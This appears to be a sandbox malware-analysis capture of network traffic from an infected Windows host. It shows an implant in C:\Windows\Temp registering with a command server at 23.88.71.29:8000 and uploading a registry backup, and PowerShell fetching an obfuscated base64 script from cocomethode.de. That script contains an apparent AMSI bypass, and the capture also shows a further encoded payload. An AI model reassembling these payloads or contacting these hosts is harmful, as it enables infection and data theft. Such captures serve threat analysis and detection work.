cfL4;desc="?proto=TCP&rtt=50&min_rtt=41&rtt_var=14&sent=16&recv=18&lost=0&retrans=0&sent_bytes=20173&recv_bytes=3985&delivery_rate=1364229166&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=58&min_rtt=55&rtt_var=12&sent=11&recv=13&lost=0&retrans=0&sent_bytes=14282&recv_bytes=2685&delivery_rate=1190600000&cwnd=35&unsent_bytes=0&cid=0000000000000000 Data Raw: Data Ascii:
Dec 11, 2024 12:14:56.111187935 CET	1061	IN	Data Raw: 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 34 26 6d 69 6e 5f 72 74 74 3d 32 37 26 72 74 74 5f 76 61 72 3d 31 36 26 73 65 6e 74 3d Data Ascii: ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=27&rtt_var=16&sent=7&recv=9&lost=0&retrans=0&sent_bytes=6194&recv_bytes=1618&delivery_rate=2425296296&cwnd=112&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;de
Dec 11, 2024 12:14:56.111196995 CET	362	IN	Data Raw: 31 36 33 0d 0a 31 37 33 33 39 31 35 36 39 35 7c 54 4d 44 66 51 72 57 50 48 64 49 50 74 70 45 52 79 34 43 51 51 2f 53 6f 6d 41 6b 51 38 4e 61 44 5a 79 5a 58 55 54 73 30 45 47 51 70 4b 49 41 69 74 76 6f 34 47 4f 64 76 74 66 5a 48 75 41 53 33 66 55 Data Ascii: 1631733915695\|TMDfQrWPHdIPtpERy4CQQ/SomAkQ8NaDZyZXUTs0EGQpKIAitvo4GOdvtfZHuAS3fU4kMewWMdmKRHmlpZi9AJuZJZZHex93XKxx2n0NYYBKHjC9CwddPO8cEHHKQRKeRDwFxv59Q/jq1Z4ORMIXs1199qiIV9ALQtH+dQPOVHdOjMRRQVH24Z+Th7ToAOax5rZKCryb6kteeB2lcpmdSIqmJWSuUICnIvD
Dec 11, 2024 12:14:56.111202955 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49784	23.88.71.29	8000	4836	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:16:00.355048895 CET	164	OUT	GET /client/ws HTTP/1.1 Host: 23.88.71.29:8000 Connection: Upgrade Upgrade: websocket Sec-WebSocket-Key: u60oEPlz90WpxO0ra4ei2w== Sec-WebSocket-Version: 13
Dec 11, 2024 12:16:01.120826960 CET	836	IN	HTTP/1.1 101 Switching Protocols Upgrade: Websocket Server: Microsoft-IIS/8.5 Sec-Websocket-Accept: XXlA0CuCLkB727YssSy9QJpOXw4= CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vnweBrj5ffDot5M83y5Py%2FJai17QINW8qGytsxzZxxs56XITexaulnAd%2FgadlHtLooXHLeUe%2FILHoroF16u9dorxwu6Uid8M7PN12LLSz4P2b3WoS0sg88ZHzb5sSPnXpN2OzvlwADEq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f050f5efe69dc4f-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5484&min_rtt=5484&rtt_var=2742&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=307&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Connection: Upgrade Date: Wed, 11 Dec 2024 11:16:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49785	23.88.71.29	8000	4836	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:16:04.416892052 CET	234	OUT	POST /api/registry HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: application/json Content-Length: 102 Data Raw: 22 36 33 30 31 33 33 37 32 46 36 35 37 35 41 39 44 34 45 41 32 39 43 42 36 30 38 37 39 38 45 44 39 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "63013372F6575A9D4EA29CB608798ED9\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Dec 11, 2024 12:16:05.290075064 CET	809	IN	HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N%2FNzNDsguO8wjgK5z221jBvSODjl0w9m1p2W450bRKUgtIZadz2bmuxKMlBR3rPzAm%2BJOhzc1MkgIxNoFoVP5XiiO%2BU5%2FIroyHP8qLHbtAyGnZlQiMSIBZtPFbDzzq8A%2FdoC%2FzpEGHMX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f050f785be69b77-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5405&min_rtt=5405&rtt_var=2702&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=380&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:16:04 GMT Content-Length: 32 Data Raw: 32 39 62 37 61 38 66 38 64 39 39 36 37 63 61 34 63 33 31 36 36 32 36 39 61 61 34 64 65 37 35 37 Data Ascii: 29b7a8f8d9967ca4c3166269aa4de757

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49786	23.88.71.29	8000	4836	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 12:16:05.505858898 CET	1289	OUT	POST /api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757 HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=---------------------8dd19ab4ac16fb8 Content-Length: 5689 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 62 34 61 63 31 36 66 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 [TRUNCATED] Data Ascii: -----------------------8dd19ab4ac16fb8Content-Disposition: form-data; name="file"; filename="regBackup.reg"Content-Type: application/octet-streamWindows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]"DependOnService"=hex(7):52,00,50,00,43,00,53,00,53,00,00,00,00,00"Description"="@%SystemRoot%\\System32\\termsrv.dll,-267""DisplayName"="@%SystemRoot%\\System32\\termsrv.dll,-268""ErrorControl"=dword:00000001"FailureActions"=hex:80,51,01,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\ 00,01,00,00,00,60,ea, [TRUNCATED]
Dec 11, 2024 12:16:05.960568905 CET	839	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MXgCSGQmbzg4Y0S%2BuDrz5vJH1KK3EFQkB0mkfrIwVhOYs40m7lqh0ggPUEIkHodkGAZKMa7zcaPToUoZMBDY%2BgpUhWT2dGKsUAcH8aXmuABgnG6LxOLpoV%2BKv99fsw3t3biF%2BlhqggvM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f050f7f1ac29b77-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5402&min_rtt=5345&rtt_var=2033&sent=8&recv=11&lost=0&retrans=0&sent_bytes=822&recv_bytes=6478&delivery_rate=542650&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 11:16:04 GMT Content-Length: 41 Data Raw: 46 69 6c 65 20 72 65 67 42 61 63 6b 75 70 2e 72 65 67 20 75 70 6c 6f 61 64 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e Data Ascii: File regBackup.reg uploaded successfully.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49759	172.67.128.139	443	3076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:13 UTC	161	OUT	GET /Zd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:14:14 UTC	1227	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:14 GMT Content-Type: application/octet-stream Content-Length: 6381 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3KRC8V0aVKxHLWbsbWdSPacGSmnxyUbDTZLi27cy2M5SYsdV7MZRnewBC7fJaLdcOKqY21sOOq8p7hLg8FYRiow%2FLRxf44KGnZhBhWdxNmfCQ8sV8jJAmdAnmjAENiMQuu11p5sCX7cb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=57931&min_rtt=1573&rtt_var=7407&sent=214&recv=289&lost=0&retrans=0&sent_bytes=38518&recv_bytes=234074&delivery_rate=6907155&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050cc2787dbfed-ATL server-timing: cfL4;desc="?proto=TCP&rtt=61&min_rtt=61&rtt_var=30&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=392&delivery_rate=0&cwnd=91&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113647&min_rtt=113548&rtt_var=24110&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=775&delivery_rate=33624&cwnd=252&unsent_bytes=0&cid=fb8e0c76d4dab697&ts=837&x=0"
2024-12-11 11:14:14 UTC	142	IN	Data Raw: 24 61 68 6f 61 7a 61 73 6d 75 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 53 55 4d 78 55 57 4e 74 4f 58 64 61 57 45 6f 77 5a 56 4e 43 52 46 6c 59 51 6d 68 5a 4d 6d 77 77 5a 56 4e 42 64 46 55 7a 56 6e 52 4c 55 7a 56 55 5a 46 63 77 5a 30 78 Data Ascii: $ahoazasmu=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SUMxUWNtOXdaWEowZVNCRFlYQmhZMmwwZVNBdFUzVnRLUzVUZFcwZ0x
2024-12-11 11:14:14 UTC	1369	IN	Data Raw: 35 51 58 68 53 4d 45 6b 33 52 46 46 76 61 31 6c 35 51 54 6c 4a 52 6e 52 47 59 6d 35 61 63 47 4e 74 4f 58 56 69 56 31 5a 31 5a 45 59 77 4e 6b 39 73 51 6e 6c 69 4d 6b 35 73 59 7a 4e 4f 64 6d 4e 72 54 6e 5a 6b 56 7a 55 77 54 33 63 77 53 30 70 48 55 57 64 51 55 30 46 76 55 6a 4a 57 4d 45 78 57 51 6e 6c 69 4d 6b 35 73 59 7a 4e 4e 5a 32 5a 44 51 6b 35 61 56 30 5a 36 5a 46 68 4b 62 45 78 56 4f 57 6c 68 62 56 5a 71 5a 45 4e 72 64 56 45 79 4f 54 46 69 62 6c 45 33 52 46 46 76 61 31 70 54 51 54 6c 4a 52 6e 52 55 5a 56 68 4f 4d 46 70 58 4d 48 56 57 57 45 70 77 57 46 52 76 4e 6c 4a 59 54 6d 70 5a 57 45 4a 73 55 6b 64 47 4d 46 6c 57 54 6a 42 6a 62 57 78 31 57 6e 6c 6f 59 6c 4a 58 4e 54 4a 68 57 45 70 32 59 6d 30 78 62 47 4a 75 55 6d 52 50 61 6e 42 57 59 7a 4a 57 65 56 Data Ascii: 5QXhSMEk3RFFva1l5QTlJRnRGYm5acGNtOXViV1Z1ZEYwNk9sQnliMk5sYzNOdmNrTnZkVzUwT3cwS0pHUWdQU0FvUjJWMExWQnliMk5sYzNNZ2ZDQk5aV0Z6ZFhKbExVOWlhbVZqZENrdVEyOTFiblE3RFFva1pTQTlJRnRUZVhOMFpXMHVWWEpwWFRvNlJYTmpZWEJsUkdGMFlWTjBjbWx1WnloYlJXNTJhWEp2Ym0xbGJuUmRPanBWYzJWeV
2024-12-11 11:14:14 UTC	1369	IN	Data Raw: 53 30 5a 30 56 47 56 59 54 6a 42 61 56 7a 42 31 56 6b 64 57 4e 47 52 44 4e 55 5a 69 62 55 35 32 57 6b 64 73 64 56 6f 78 4d 44 5a 50 62 46 5a 56 55 6d 70 6e 64 56 49 79 56 6a 42 56 4d 31 4a 35 59 56 63 31 62 6b 74 44 55 6d 6c 6c 57 46 4a 73 55 56 68 4b 65 56 6c 59 61 33 42 4c 55 54 42 4c 22 29 29 3b 0a 24 62 7a 78 69 6f 69 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 53 6b 64 46 5a 31 42 54 51 57 6c 6b 56 7a 56 79 59 6d 30 35 4d 32 4a 70 53 54 64 4a 51 54 42 4c 5a 45 68 4b 4e 55 6c 49 63 32 64 4b 52 30 56 6e 55 46 4e 43 59 6c 55 7a 62 48 70 6b 52 31 5a 30 54 47 78 57 65 57 Data Ascii: S0Z0VGVYTjBaVzB1VkdWNGRDNUZibU52WkdsdVoxMDZPbFZVUmpndVIyVjBVM1J5YVc1bktDUmllWFJsUVhKeVlYa3BLUTBL"));$bzxioi=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkdFZ1BTQWlkVzVyYm05M2JpSTdJQTBLZEhKNUlIc2dKR0VnUFNCYlUzbHpkR1Z0TGxWeW
2024-12-11 11:14:14 UTC	1369	IN	Data Raw: 31 57 6a 4e 57 61 46 6f 79 56 57 64 52 4d 55 35 76 57 56 68 4b 64 30 39 35 51 6d 4a 6b 62 54 6c 77 57 6b 59 78 59 6c 59 79 62 48 56 4e 65 6b 70 6b 54 32 70 77 56 47 46 48 4f 54 4e 57 4d 6d 78 31 57 6b 63 35 4d 30 74 47 64 46 68 68 56 7a 52 36 54 57 77 77 4e 6b 39 72 5a 47 78 6b 52 56 70 32 59 32 31 57 62 6d 4e 74 4f 54 46 69 62 56 4a 59 59 56 63 31 61 32 49 7a 59 32 39 4c 55 33 64 6e 54 55 4e 72 54 6b 4e 6e 50 54 30 3d 22 29 29 3b 0a 24 6f 70 73 73 70 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 55 56 64 53 61 30 78 57 55 6a 56 6a 52 31 56 6e 54 46 5a 53 4e 57 4e 48 56 6b Data Ascii: 1WjNWaFoyVWdRMU5vWVhKd095QmJkbTlwWkYxYlYybHVNekpkT2pwVGFHOTNWMmx1Wkc5M0tGdFhhVzR6TWwwNk9rZGxkRVp2Y21WbmNtOTFibVJYYVc1a2IzY29LU3dnTUNrTkNnPT0="));$opssp=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("UVdSa0xWUjVjR1VnTFZSNWNHVk
2024-12-11 11:14:14 UTC	741	IN	Data Raw: 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 56 38 3d 22 29 29 3b 0a 24 71 78 61 73 6a 67 77 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 33 4e 30 61 57 4e 7a 4c 6b 56 32 5a 57 35 30 61 57 35 6e 4c 6b 56 32 5a 57 35 30 55 48 4a 76 64 6d 6c 6b 5a 58 49 3d 22 29 29 3b 0a 24 6f 6b 63 6b 61 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 55 33 6c 7a 64 47 56 74 4c 6b 52 70 59 Data Ascii: ::FromBase64String("bV8="));$qxasjgw=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("b3N0aWNzLkV2ZW50aW5nLkV2ZW50UHJvdmlkZXI="));$okcka=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdGVtLkRpY
2024-12-11 11:14:14 UTC	1369	IN	Data Raw: 61 73 65 36 34 53 74 72 69 6e 67 28 22 61 55 6c 75 61 58 52 47 59 57 6c 73 5a 57 51 3d 22 29 29 3b 0a 24 69 66 73 6a 62 6b 6f 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 59 57 31 7a 22 29 29 3b 0a 24 68 70 6a 76 75 69 6e 68 6e 76 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 5a 57 31 6c 62 6e 51 75 51 58 56 30 62 32 31 68 64 47 6c 76 62 69 35 42 62 58 4e 70 56 58 52 70 62 48 4d 3d 22 29 29 Data Ascii: ase64String("aUluaXRGYWlsZWQ="));$ifsjbko=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YW1z"));$hpjvuinhnv=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM="))
2024-12-11 11:14:14 UTC	22	IN	Data Raw: 69 6f 69 20 2b 20 24 61 68 6f 61 7a 61 73 6d 75 29 29 29 29 3b 0a Data Ascii: ioi + $ahoazasmu))));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49760	172.67.128.139	443	3076	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:15 UTC	369	OUT	GET /file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/181 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:14:16 UTC	1283	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:16 GMT Content-Type: application/octet-stream Content-Length: 2858 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iJwRN4ACVs%2FCsz2nVLtygOrXvq3M4oIfXPNIBKC83zo3F1XdfhCYklULyr61TCVWNc9TxKK00yZ4vbRAMvVSyAHxUJlg2Zkaq0ZTYu7sCf65KZfYWW719PKE39ATcs%2F%2Fj1lQbrLoAIL0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=46353&min_rtt=1573&rtt_var=14678&sent=244&recv=328&lost=0&retrans=0&sent_bytes=48019&recv_bytes=264555&delivery_rate=6907155&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050cd24b54bfaa-ATL server-timing: cfL4;desc="?proto=TCP&rtt=56&min_rtt=56&rtt_var=28&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=631&delivery_rate=0&cwnd=109&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=43&rtt_var=21&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=624&delivery_rate=0&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:16 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 34 31 35 32 26 6d 69 6e 5f 72 74 74 3d 31 31 34 31 30 38 26 72 74 74 5f 76 61 72 3d 32 34 31 33 38 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 37 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 32 39 26 63 77 6e 64 3d 32 34 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 64 31 31 33 37 32 30 66 62 30 31 64 37 30 62 64 26 74 73 3d 36 30 39 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=114152&min_rtt=114108&rtt_var=24138&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1007&delivery_rate=33529&cwnd=249&unsent_bytes=0&cid=d113720fb01d70bd&ts=609&x=0"
2024-12-11 11:14:16 UTC	1235	IN	Data Raw: 25 7b 69 7b 6a 73 79 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 63 31 75 54 62 31 34 45 60 54 47 6f 52 54 4f 43 60 33 4b 49 4e 56 34 54 57 30 5b 37 58 7b 4b 46 63 6d 71 58 55 56 65 4d 64 6b 43 6f 52 6a 69 4e 4c 46 4f 75 63 49 57 60 4c 44 71 33 56 6a 69 73 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 6a 65 35 65 6d 6e 76 4c 56 79 6b 4c 31 34 6e 56 6b 4b 56 64 6a 6d 45 62 7b 6d 4b 50 31 6d 31 55 47 4c 76 65 44 79 55 4c 49 53 4c 54 7b 43 31 52 56 71 7b 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 52 63 30 71 59 53 6c 75 60 56 44 71 37 52 54 50 76 5b 30 47 48 65 45 6d 51 65 7b 43 Data Ascii: %{i{jsy<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#c1uTb14E`TGoRTOC`3KINV4TW0[7X{KFcmqXUVeMdkCoRjiNLFOucIW`LDq3VjisO1SSc3eKP1GoRje5emnvLVykL14nVkKVdjmEb{mKP1m1UGLveDyULISLT{C1RVq{UjOoLDuKP1GoRTORc0qYSlu`VDq7RTPv[0GHeEmQe{C
2024-12-11 11:14:16 UTC	1369	IN	Data Raw: 79 57 6c 4f 75 60 33 65 4a 52 47 5b 34 58 57 4f 43 65 47 5b 58 55 6c 79 53 63 54 5b 37 58 57 65 4e 54 57 6d 58 52 6f 71 69 57 7b 57 74 55 32 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 60 30 6d 74 63 45 43 60 57 54 5b 34 58 33 30 46 4f 54 6d 44 4c 46 65 4a 53 31 34 33 58 6c 34 52 63 46 4b 74 54 59 57 5b 4c 6b 6d 30 5b 44 65 56 65 56 53 44 62 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 60 63 55 6d 34 52 54 4f 6f 60 33 47 55 50 55 6d 4b 53 44 44 32 52 54 4f 52 62 44 6d 45 4c 59 4f 6a 50 31 47 73 56 56 34 72 4c 47 71 57 53 6f 6d 6b 63 54 58 30 55 46 75 35 63 46 4b 75 5b 45 43 69 53 49 4f 6f 52 6a 65 73 62 6a 75 34 60 33 65 6d 64 54 47 73 56 56 34 72 4c 47 71 57 53 6f 6d 6b 63 54 58 30 57 32 6d 52 62 47 69 55 50 55 6d 4b 50 30 4b 71 5b 57 Data Ascii: yWlOu`3eJRG[4XWOCeG[XUlyScT[7XWeNTWmXRoqiW{WtU2bvR1mEPVeKP1GoRTOC`0mtcEC`WT[4X30FOTmDLFeJS143Xl4RcFKtTYW[Lkm0[DeVeVSDb14E`TGoRTOC[1mEPVe`cUm4RTOo`3GUPUmKSDD2RTORbDmELYOjP1GsVV4rLGqWSomkcTX0UFu5cFKu[ECiSIOoRjesbju4`3emdTGsVV4rLGqWSomkcTX0W2mRbGiUPUmKP0Kq[W
2024-12-11 11:14:16 UTC	254	IN	Data Raw: 4f 43 5b 31 71 48 55 6b 43 6b 63 56 79 30 56 6b 43 4a 65 6d 71 48 60 33 65 50 54 31 4b 68 58 7b 4f 52 64 56 47 59 4f 56 34 58 54 33 65 73 58 6a 62 34 63 6d 53 58 55 6c 34 4b 52 49 65 6f 54 55 48 34 65 56 53 75 57 6f 6d 6a 53 6d 4b 33 55 47 57 76 64 6c 48 78 4f 49 43 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 54 6f 4f 68 4c 6c 53 4e 56 6d 69 4e 64 6d 6d 59 5b 46 79 6b 64 54 44 34 52 54 57 43 23 28 28 3a 0b 48 6f 77 6e 6a 64 2c 44 79 71 73 64 72 72 68 6e 6f 21 29 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 29 25 68 77 7b 7b 71 64 6f 21 2a 21 25 7b 69 7b 6a 73 79 28 28 28 